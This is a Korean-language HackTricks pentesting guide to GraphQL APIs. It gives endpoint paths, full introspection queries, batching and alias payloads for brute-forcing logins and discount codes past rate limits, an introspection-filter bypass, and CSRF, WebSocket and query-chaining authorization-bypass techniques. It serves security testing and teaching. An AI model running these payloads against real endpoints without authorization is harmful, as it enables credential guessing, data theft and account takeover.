29 KiB
GraphQL
htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요!
HackTricks를 지원하는 다른 방법:
- 회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면 구독 요금제를 확인하세요!
- 공식 PEASS & HackTricks 스왜그를 구매하세요
- The PEASS Family를 발견하세요, 당사의 독점 NFTs 컬렉션
- 💬 Discord 그룹에 가입하거나 텔레그램 그룹에 가입하거나 Twitter 🐦 @carlospolopm를 팔로우하세요.
- 해킹 요령을 공유하려면 PR을 제출하여 HackTricks 및 HackTricks Cloud 깃허브 저장소를 참조하세요.
소개
GraphQL은 백엔드에서 데이터를 쿼리하는 간소화된 접근 방식을 제공하여 REST API에 대안으로 강조되고 있습니다. REST가 데이터를 수집하기 위해 다양한 엔드포인트에 걸쳐 여러 요청을 필요로 하는 반면, GraphQL은 단일 요청을 통해 필요한 모든 정보를 가져올 수 있습니다. 이러한 단순화는 데이터 가져오기 프로세스의 복잡성을 줄여 개발자들에게 큰 이점을 제공합니다.
GraphQL과 보안
GraphQL을 포함한 새로운 기술의 등장으로 새로운 보안 취약점도 발생합니다. GraphQL은 기본적으로 인증 메커니즘을 포함하지 않는다는 점을 주목해야 합니다. 적절한 인증이 없으면 GraphQL 엔드포인트가 인증되지 않은 사용자에게 민감한 정보를 노출할 수 있어 중대한 보안 위험을 초래할 수 있습니다.
디렉터리 브루트 포스 공격과 GraphQL
노출된 GraphQL 인스턴스를 식별하기 위해 디렉터리 브루트 포스 공격에 특정 경로를 포함하는 것이 권장됩니다. 이러한 경로는 다음과 같습니다:
/graphql
/graphiql
/graphql.php
/graphql/console
/api
/api/graphql
/graphql/api
/graphql/graphql
공개된 GraphQL 인스턴스를 식별하면 지원되는 쿼리를 검토할 수 있습니다. 이는 엔드포인트를 통해 접근 가능한 데이터를 이해하는 데 중요합니다. GraphQL의 내부 검사 시스템은 스키마가 지원하는 쿼리를 자세히 설명하여 이를 용이하게 합니다. 이에 대한 자세한 정보는 GraphQL 내부 검사에 대한 문서를 참조하세요: GraphQL: API를 위한 쿼리 언어.
지문
도구 graphw00f는 서버에서 사용된 GraphQL 엔진을 감지하고 보안 감사인을 위한 유용한 정보를 출력할 수 있습니다.
Universal queries
URL이 GraphQL 서비스인지 확인하려면 universal query인 query{__typename}
을 보낼 수 있습니다. 응답에 {"data": {"__typename": "Query"}}
가 포함되어 있으면 URL이 GraphQL 엔드포인트를 호스팅한다는 것을 확인할 수 있습니다. 이 방법은 GraphQL의 __typename
필드에 의존하며, 쿼리된 객체의 유형을 나타냅니다.
query{__typename}
기본 열거
Graphql은 일반적으로 GET, POST (x-www-form-urlencoded) 및 POST(json)을 지원합니다. 보안을 위해 CSRF 공격을 방지하려면 json만 허용하는 것이 좋습니다.
인트로스펙션
스키마 정보를 발견하기 위해 인트로스펙션을 사용하려면 __schema
필드를 쿼리하십시오. 이 필드는 모든 쿼리의 루트 유형에서 사용할 수 있습니다.
query={__schema{types{name,fields{name}}}}
다음 쿼리를 사용하면 사용되는 모든 유형의 이름을 찾을 수 있습니다:
{% code overflow="wrap" %}
query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
{% endcode %}
이 쿼리를 사용하면 모든 유형, 필드 및 인수(및 args의 유형)를 추출할 수 있습니다. 데이터베이스를 쿼리하는 방법을 파악하는 데 매우 유용할 것입니다.
오류
오류가 표시될지 여부를 알면 유용한 정보를 제공할 것입니다.
?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}
내부 조사를 통한 데이터베이스 스키마 열거
{% hint style="info" %}
내부 조사가 활성화되어 있지만 위 쿼리가 실행되지 않는 경우, 쿼리 구조에서 onOperation
, onFragment
, onField
지시문을 제거해 보십시오.
{% endhint %}
#Full introspection query
query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation #Often needs to be deleted to run query
onFragment #Often needs to be deleted to run query
onField #Often needs to be deleted to run query
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
인라인 탐사 쿼리:
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
마지막 코드 라인은 graphql에서 모든 메타 정보를 덤프 할 graphql 쿼리입니다 (객체 이름, 매개 변수, 유형 등).
인트로스펙션을 활성화하면 GraphQL Voyager를 사용하여 GUI에서 모든 옵션을 볼 수 있습니다.
쿼리
이제 데이터베이스 내에 저장된 정보의 종류를 알게 되었으니 일부 값을 추출해 보겠습니다.
인트로스펙션에서 직접 쿼리할 수 있는 객체를 찾을 수 있습니다 (존재하는 객체를 쿼리할 수 없기 때문에). 다음 이미지에서 "queryType"이 "Query"로 호출되고 "Query" 객체의 하나의 필드가 "flags"인 것을 볼 수 있습니다. 이는 또한 객체 유형입니다. 따라서 플래그 객체를 쿼리할 수 있습니다.
쿼리 "flags"의 유형이 "Flags"임을 유의하십시오. 이 객체는 다음과 같이 정의됩니다:
"Flags" 객체는 이름과 값으로 구성되어 있음을 볼 수 있습니다. 그런 다음 쿼리로 모든 플래그의 이름과 값을 가져올 수 있습니다:
query={flags{name, value}}
참고로 쿼리할 대상 객체가 다음 예시와 같이 문자열과 같은 기본 타입인 경우
다음과 같이 쿼리할 수 있습니다:
query={hiddenFlags}
다른 예로 "Query" 유형 객체 내에 2개의 객체인 "user"와 "users"가 있는 경우가 있습니다.
이러한 객체들이 검색에 필요한 인수가 없는 경우, 원하는 데이터를 요청하여 그들로부터 모든 정보를 검색할 수 있습니다. 이 예에서는 인터넷에서 저장된 사용자 이름과 비밀번호를 추출할 수 있습니다:
그러나 이 예에서는 그렇게 시도하면 다음 오류가 발생합니다:
어떻게든 "uid" 인수를 사용하여 검색하는 것으로 보입니다.
어쨌든, 이미 기본 열거 섹션에서 필요한 모든 정보를 보여주는 쿼리가 제안되었음을 알고 있습니다: query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}
그 쿼리를 실행할 때 제공된 이미지를 읽으면 "user"가 Int 유형의 "uid" 인수를 가지고 있음을 알 수 있습니다.
그래서 가벼운 uid 브루트포스를 수행하여 _uid=1_에서 사용자 이름과 비밀번호를 검색했습니다:
query={user(uid:1){user,password}}
"user"와 "password" 매개변수를 요청할 수 있다는 것을 발견했습니다. 만약 존재하지 않는 것을 찾으려고 하면 (query={user(uid:1){noExists}}
) 다음 오류가 발생합니다:
열거 단계 중에 "dbuser" 객체가 "user"와 "_password_를 필드로 가지고 있음을 발견했습니다.
쿼리 문자열 덤프 트릭 (감사 @BinaryShadow_)
query={theusers(description: ""){username,password}}
와 같이 문자열 유형으로 검색할 수 있는 경우, 빈 문자열로 검색하면 모든 데이터가 덤프됩니다. (이 예는 튜토리얼의 예제와 관련이 없으며, 이 예에서는 "theusers"를 사용하여 "description"이라는 문자열 필드로 검색할 수 있다고 가정합니다").
검색
이 설정에서 데이터베이스에는 사람과 영화가 포함되어 있습니다. 사람은 이메일과 이름으로 식별되며, 영화는 이름과 평점으로 식별됩니다. 사람은 서로 친구가 될 수 있고 또한 영화를 소유할 수 있어 데이터베이스 내에서 관계를 나타냅니다.
사람을 이름으로 검색하여 이메일을 얻을 수 있습니다:
{
searchPerson(name: "John Doe") {
email
}
}
당신은 이름으로 사람을 검색하고 그들이 구독한 영화를 얻을 수 있습니다:
{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}
참고로 해당 사람의 subscribedMovies
의 name
을 검색하는 방법이 나와 있습니다.
또한 동시에 여러 객체를 검색할 수도 있습니다. 이 경우, 2개의 영화를 검색합니다:
{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r
또는 심지어 별칭을 사용하여 여러 다른 객체의 관계:
{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}
변이
변이는 서버 측에서 변경 사항을 만드는 데 사용됩니다.
내방에서 선언된 변이를 찾을 수 있습니다. 다음 이미지에서 "MutationType"은 "Mutation"으로 불리며 "Mutation" 객체에는 변이의 이름들이 포함되어 있습니다 (이 경우 "addPerson"과 같은):
이 설정에서 데이터베이스에는 사람과 영화가 포함되어 있습니다. 사람은 이메일과 이름으로 식별되며 영화는 이름과 평점으로 식별됩니다. 사람은 서로 친구가 될 수 있으며 데이터베이스 내에서 관계를 나타내는 영화를 가질 수 있습니다.
데이터베이스 내에서 새로운 영화를 만드는 변이는 다음과 같을 수 있습니다 (이 예에서 변이는 addMovie
로 불립니다):
mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}
쿼리에서 데이터의 값과 유형이 모두 표시되는 방법에 유의하십시오.
또한 데이터베이스는 addPerson
이라는 변이 작업을 지원하며, 이를 통해 사람들과 그들의 기존 친구 및 영화와의 연관성을 만들 수 있습니다. 새로 생성된 사람과 연결하기 전에 친구 및 영화가 데이터베이스에 미리 존재해야 한다는 점이 중요합니다.
mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}
지시문 오버로딩
이 보고서에 설명된 취약점 중 하나에 설명된 대로, 지시문 오버로딩은 서버가 작업을 낭비하도록 만들기 위해 지시문을 수백만 번 호출하는 것을 의미합니다.
1개의 API 요청에서 브루트 포스 일괄 처리
이 정보는 https://lab.wallarm.com/graphql-batching-attack/에서 가져왔습니다.
다른 자격 증명으로 많은 쿼리를 동시에 보내 인증하는 GraphQL API. 이것은 클래식한 브루트 포스 공격이지만 이제 GraphQL 일괄 처리 기능 덕분에 HTTP 요청 당 하나 이상의 로그인/비밀번호 쌍을 보낼 수 있습니다. 이 접근 방식은 외부 속도 모니터링 애플리케이션이 모든 것이 잘되고 암호를 추측하려는 봇이 없다고 생각하게 할 것입니다.
아래에서 한 번에 3개의 다른 이메일/비밀번호 쌍을 사용하여 응용 프로그램 인증 요청의 가장 간단한 데모를 찾을 수 있습니다. 당연히 동일한 방식으로 한 번에 수천 개를 보낼 수 있습니다:
응답 스크린샷에서 볼 수 있듯이, 첫 번째와 세 번째 요청은 _null_을 반환하고 해당 정보를 error 섹션에 반영했습니다. 두 번째 변이는 올바른 인증 데이터를 가지고 있었으며 응답에는 올바른 인증 세션 토큰이 포함되어 있습니다.
GraphQL 인트로스펙션 없이
더 이상 graphql 엔드포인트가 인트로스펙션을 비활성화하고 있습니다. 그러나 graphql이 예상치 못한 요청을 받았을 때 던지는 오류는 clairvoyance와 같은 도구가 대부분의 스키마를 재생성하는 데 충분합니다.
또한, Burp Suite 확장 프로그램 GraphQuail은 Burp를 통해 전달되는 GraphQL API 요청을 관찰하고 각 새로운 쿼리마다 내부 GraphQL 스키마를 작성합니다. 또한 GraphiQL 및 Voyager를 위해 스키마를 노출시킬 수도 있습니다. 이 확장 프로그램은 인트로스펙션 쿼리를 받으면 가짜 응답을 반환합니다. 결과적으로, GraphQuail은 API 내에서 사용할 수 있는 모든 쿼리, 인수 및 필드를 보여줍니다. 자세한 정보는 여기를 확인하세요.
여기에서 GraphQL 엔티티를 발견할 수 있는 좋은 단어 목록을 찾을 수 있습니다.
GraphQL 인트로스펙션 방어 우회
API에서 인트로스펙션 쿼리에 대한 제한을 우회하려면 __schema
키워드 뒤에 특수 문자를 삽입하는 것이 효과적입니다. 이 방법은 __schema
키워드에 초점을 맞춘 정규식 패턴에서 개발자가 자주 실수하는 것을 이용합니다. GraphQL이 무시하지만 정규식에서 고려되지 않을 수 있는 공백, 새 줄 및 쉼표와 같은 문자를 추가하여 제한을 우회할 수 있습니다. 예를 들어, __schema
뒤에 새 줄이 있는 인트로스펙션 쿼리는 이러한 방어를 우회할 수 있습니다:
# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}
만약 실패한다면 GET 요청이나 x-www-form-urlencoded
를 사용한 POST와 같은 대체 요청 방법을 고려하십시오. 왜냐하면 제한 사항이 POST 요청에만 적용될 수 있기 때문입니다.
웹소켓 시도
이 발표에서 언급된 대로, 웹소켓을 통해 graphQL에 연결할 수 있는지 확인하십시오. 이렇게 하면 잠재적인 WAF를 우회하고 웹소켓 통신을 통해 graphQL의 스키마를 노출시킬 수도 있습니다.
ws = new WebSocket('wss://target/graphql', 'graphql-ws');
ws.onopen = function start(event) {
var GQL_CALL = {
extensions: {},
query: `
{
__schema {
_types {
name
}
}
}`
}
var graphqlMsg = {
type: 'GQL.START',
id: '1',
payload: GQL_CALL,
};
ws.send(JSON.stringify(graphqlMsg));
}
노출된 GraphQL 구조 발견
Introspection이 비활성화된 경우, JavaScript 라이브러리에서 사전로드된 쿼리를 웹사이트의 소스 코드로 조사하는 것이 유용한 전략입니다. 이러한 쿼리는 개발자 도구의 Sources
탭을 사용하여 찾을 수 있으며, API의 스키마에 대한 통찰을 제공하고 노출된 민감한 쿼리를 드러낼 수 있습니다. 개발자 도구 내에서 검색하는 명령어는 다음과 같습니다:
Inspect/Sources/"Search all files"
file:* mutation
file:* query
GraphQL에서의 CSRF
만약 CSRF가 무엇인지 모른다면 다음 페이지를 읽어보세요:
{% content-ref url="../../pentesting-web/csrf-cross-site-request-forgery.md" %} csrf-cross-site-request-forgery.md {% endcontent-ref %}
여기서 여러 개의 GraphQL 엔드포인트를 CSRF 토큰 없이 구성된 상태로 발견할 수 있습니다.
GraphQL 요청은 일반적으로 Content-Type을 **application/json
**으로 사용하여 POST 요청을 통해 전송됩니다.
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
그러나 대부분의 GraphQL 엔드포인트는 form-urlencoded
POST 요청도 지원합니다:
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
따라서, 이전과 같은 CSRF 요청은 사전 요청(preflight requests) 없이 전송되므로, CSRF를 남용하여 GraphQL에서 변경을 수행할 수 있습니다.
그러나, Chrome의 samesite
플래그의 새로운 기본 쿠키 값은 Lax
입니다. 이는 쿠키가 제3자 웹에서 GET 요청으로만 전송될 것을 의미합니다.
또한, 쿼리 요청을 GET 요청으로도 보낼 수 있으며 CSRF 토큰이 GET 요청에서 유효성 검사되지 않을 수 있음을 유의하십시오.
또한, XS-Search 공격을 남용하여 사용자의 자격 증명을 남용하여 GraphQL 엔드포인트에서 콘텐츠를 유출할 수 있습니다.
자세한 정보는 여기의 원본 게시물을 확인하십시오.
GraphQL에서의 Cross-site WebSocket 해킹
GraphQL을 남용한 CRSF 취약점과 유사하게, 보호되지 않은 쿠키로 GraphQL의 인증을 남용하여 Cross-site WebSocket 해킹을 수행하고 사용자가 예상치 못한 동작을 수행하도록 유도할 수 있습니다.
자세한 정보는 아래를 확인하십시오:
{% content-ref url="../../pentesting-web/websocket-attacks.md" %} websocket-attacks.md {% endcontent-ref %}
GraphQL에서의 권한 부여
엔드포인트에서 정의된 많은 GraphQL 함수는 요청자의 인증만 확인하고 권한을 확인하지 않을 수 있습니다.
쿼리 입력 변수를 수정하면 민감한 계정 세부 정보가 유출될 수 있습니다.
변이를 통해 다른 계정 데이터를 수정하려고 시도하여 계정 탈취로 이어질 수도 있습니다.
{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}
GraphQL에서 권한 우회
쿼리 체이닝을 통해 약한 인증 시스템을 우회할 수 있습니다.
아래 예시에서 작업이 "forgotPassword"임을 볼 수 있으며 해당 작업에 연결된 forgotPassword 쿼리만 실행되어야 합니다. 이를 우회하기 위해 끝에 쿼리를 추가할 수 있습니다. 이 경우 "register"를 추가하고 시스템이 새 사용자로 등록되도록 사용자 변수를 추가합니다.
별칭을 사용한 GraphQL에서 요청 제한 우회
GraphQL에서 별칭은 API 요청 시 속성을 명시적으로 명명할 수 있는 강력한 기능입니다. 이 기능은 동일한 유형의 객체의 여러 인스턴스를 단일 요청 내에서 검색하는 데 특히 유용합니다. 별칭을 사용하면 GraphQL 객체가 동일한 이름의 여러 속성을 가질 수 없다는 제한을 극복할 수 있습니다.
GraphQL 별칭에 대한 자세한 이해를 위해 다음 리소스를 참고하십시오: 별칭.
별칭의 주요 목적은 다수의 API 호출을 줄이는 데 있지만, 별칭을 사용하여 GraphQL 엔드포인트에서 브루트 포스 공격을 실행하는 데 활용할 수 있는 부작용이 식별되었습니다. 이는 일부 엔드포인트가 HTTP 요청의 수를 제한하여 브루트 포스 공격을 방지하도록 설계된 속도 제한기로 보호되어 있지만, 이러한 속도 제한기가 각 요청 내의 작업 수를 고려하지 않을 수 있기 때문입니다. 별칭을 사용하면 단일 HTTP 요청 내에 여러 쿼리를 포함할 수 있기 때문에 이러한 속도 제한 조치를 우회할 수 있습니다.
다음 예시를 고려해보면, 별칭 쿼리가 상점 할인 코드의 유효성을 확인하는 방법을 보여줍니다. 이 방법은 여러 할인 코드의 유효성을 확인할 수 있도록 여러 쿼리를 하나의 HTTP 요청으로 통합함으로써 속도 제한을 우회할 수 있을 수 있습니다.
# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}
도구
취약점 스캐너
- https://github.com/dolevf/graphql-cop: GraphQL 엔드포인트의 일반적인 구성 오류를 테스트합니다.
- https://github.com/assetnote/batchql: 일괄 GraphQL 쿼리 및 뮤테이션 수행에 중점을 둔 GraphQL 보안 감사 스크립트.
- https://github.com/dolevf/graphw00f: 사용 중인 GraphQL을 지문합니다.
- https://github.com/gsmith257-cyber/GraphCrawler: 스키마를 가져와 민감한 데이터를 검색하고 권한 부여를 테스트하며, 스키마를 무력화하고 특정 유형으로의 경로를 찾을 수 있는 도구입니다.
- https://blog.doyensec.com/2020/03/26/graphql-scanner.html: 독립적으로 사용하거나 Burp 확장 프로그램으로 사용할 수 있습니다.
- https://github.com/swisskyrepo/GraphQLmap: CLI 클라이언트로도 사용할 수 있어 공격을 자동화하는 데 유용합니다.
- https://gitlab.com/dee-see/graphql-path-enum: GraphQL 스키마에서 특정 유형에 도달하는 다양한 방법을 나열하는 도구입니다.
- https://github.com/doyensec/GQLSpection: InQL의 독립형 및 CLI 모드의 후속 제품입니다.
- https://github.com/doyensec/inql: 고급 GraphQL 테스트를 위한 Burp 확장 프로그램입니다. _Scanner_는 InQL v5.0의 핵심으로, GraphQL 엔드포인트나 로컬 인트로스펙션 스키마 파일을 분석할 수 있습니다. 모든 가능한 쿼리와 뮤테이션을 자동으로 생성하고 분석을 위해 구조화된 보기로 구성합니다. Attacker 구성 요소를 사용하여 일괄 GraphQL 공격을 실행할 수 있어 구현이 잘못된 속도 제한을 우회하는 데 유용합니다.
- https://github.com/nikitastupin/clairvoyance: 인트로스펙션 비활성화 상태에서도 스키마를 가져오려고 시도하며, 일부 Graphql 데이터베이스의 도움을 받아 뮤테이션 및 매개변수의 이름을 제안합니다.
클라이언트
- https://github.com/graphql/graphiql: GUI 클라이언트
- https://altair.sirmuel.design/: GUI 클라이언트
자동화된 테스트
{% embed url="https://graphql-dashboard.herokuapp.com/" %}
- AutoGraphQL에 대한 설명 비디오: https://www.youtube.com/watch?v=JJmufWfVvyU
참고 자료
- https://jondow.eu/practical-graphql-attack-vectors/
- https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696
- https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4
- http://ghostlulz.com/api-hacking-graphql/
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md
- https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696
- https://portswigger.net/web-security/graphql